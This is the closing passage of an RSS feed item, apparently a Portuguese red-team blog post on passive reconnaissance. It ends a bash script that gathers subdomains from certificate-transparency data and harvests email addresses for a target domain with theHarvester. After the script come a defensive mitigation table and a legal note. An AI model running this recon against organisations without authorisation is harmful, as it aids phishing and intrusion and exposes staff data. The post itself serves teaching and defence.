&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;.[].name_value&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt;&gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/all_subdomains.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] Harvesting emails...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; google,hunter&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -E&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;@${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/people/emails.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[✓] Recon complete. Output: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;mitigações-blue-team&quot;&gt;Mitigações (Blue Team)&lt;/h2&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vetor&lt;/th&gt;&lt;th&gt;Mitigação&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Google Dorks&lt;/td&gt;&lt;td&gt;Google Search Console — remover URLs sensíveis do índice&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WHOIS&lt;/td&gt;&lt;td&gt;Usar privacidade de domínio (WHOIS Privacy)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Certificate Transparency&lt;/td&gt;&lt;td&gt;Inevitável — use subdomains genéricos&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Shodan&lt;/td&gt;&lt;td&gt;Firewalls com regras de não-scan; &lt;code&gt;X-Robots-Tag: noindex&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GitHub leaks&lt;/td&gt;&lt;td&gt;Pre-commit hooks + secret scanning ativo&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LinkedIn OSINT&lt;/td&gt;&lt;td&gt;Limitar informações de tecnologia em perfis públicos&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nota legal:&lt;/strong&gt; Estas técnicas devem ser utilizadas exclusivamente em engajamentos autorizados ou para fins educacionais. O uso não autorizado é ilegal.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>recon</category><category>osint</category><category>recon</category><category>passive</category><category>shodan</category><category>theHarvester</category><category>amass</category><category>google-dorks</category><difficulty>easy</difficulty></item></channel></rss>